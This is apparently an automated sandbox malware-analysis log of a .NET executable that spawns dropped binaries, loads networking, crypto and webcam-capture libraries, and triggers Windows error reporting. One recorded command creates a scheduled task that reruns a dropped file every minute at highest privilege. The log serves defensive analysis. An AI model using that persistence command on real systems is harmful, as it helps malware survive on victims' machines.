Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: r8k29DBraE.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\r8k29DBraE.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\r8k29DBraE.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: r8k29DBraE.exe

ReversingLabs: Detection: 66%

Source: C:\Users\user\Desktop\r8k29DBraE.exe

File read: C:\Users\user\Desktop\r8k29DBraE.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\r8k29DBraE.exe "C:\Users\user\Desktop\r8k29DBraE.exe"
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process created: C:\Users\user\Desktop\wzcsapi.exe "C:\Users\user\Desktop\wzcsapi.exe"
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process created: C:\Users\user\Desktop\wzcsvc.exe "C:\Users\user\Desktop\wzcsvc.exe"
Source: C:\Users\user\Desktop\wzcsvc.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 432 -p 1408 -ip 1408
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1408 -s 1088
Source: C:\Windows\System32\lsass.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: C:\Users\user\Desktop\wzcsapi.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /rl highest /tn "wzcsapi" /tr "%Current%\wzcsapi.exe"
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\wzcsvc.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process created: C:\Users\user\Desktop\wzcsapi.exe "C:\Users\user\Desktop\wzcsapi.exe"	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process created: C:\Users\user\Desktop\wzcsvc.exe "C:\Users\user\Desktop\wzcsvc.exe"	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /rl highest /tn "wzcsapi" /tr "%Current%\wzcsapi.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 432 -p 1408 -ip 1408	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1408 -s 1088	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Section loaded: ngcpopkeysrv.dll
Source: C:\Windows\System32\lsass.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\lsass.exe	Section loaded: pcpksp.dll
Source: C:\Windows\System32\lsass.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\lsass.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wlidsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gamestreamingext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msauserext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptnet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptngc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptprov.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elscore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elstrans.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanagersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll

Source: C:\Users\user\Desktop\r8k29DBraE.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\r8k29DBraE.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: r8k29DBraE.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: r8k29DBraE.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Windows.Forms.ni.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Drawing.ni.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Xml.ni.pdbP source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERE551.tmp.dmp.8.dr
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000015.00000000.1433048266.000001A9EB82B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2634750925.000001A9EB82B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WERE551.tmp.dmp.8.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Core.ni.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000015.00000000.1433048266.000001A9EB82B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2634750925.000001A9EB82B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.Drawing.ni.pdb$ source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WERE551.tmp.dmp.8.dr
Source:	Binary string: mscorlib.ni.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: &@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000015.00000002.2636546216.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434101282.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831le.js source: svchost.exe, 00000015.00000002.2636546216.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434101282.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: $@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000015.00000002.2636546216.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434101282.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000015.00000002.2636546216.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434101282.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb\2 source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: gs.pdb'E source: WerFault.exe, 00000008.00000002.1585866335.00000265B1A0B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000015.00000002.2635721710.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434010255.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb* source: svchost.exe, 00000015.00000002.2636546216.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434101282.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.ni.pdbD source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: gs.pdb source: WerFault.exe, 00000008.00000002.1585866335.00000265B1A0B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Xml.ni.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.ni.pdbRSDS source: WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Drawing.pdbHt' source: WERE551.tmp.dmp.8.dr
Source:	Binary string: mscorlib.ni.pdbLe: source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000015.00000002.2635721710.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434010255.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Core.pdb@ source: WERE551.tmp.dmp.8.dr
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000015.00000002.2635721710.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434010255.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.pdbMZ source: WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Xml.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: &@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000015.00000002.2635721710.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434010255.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp
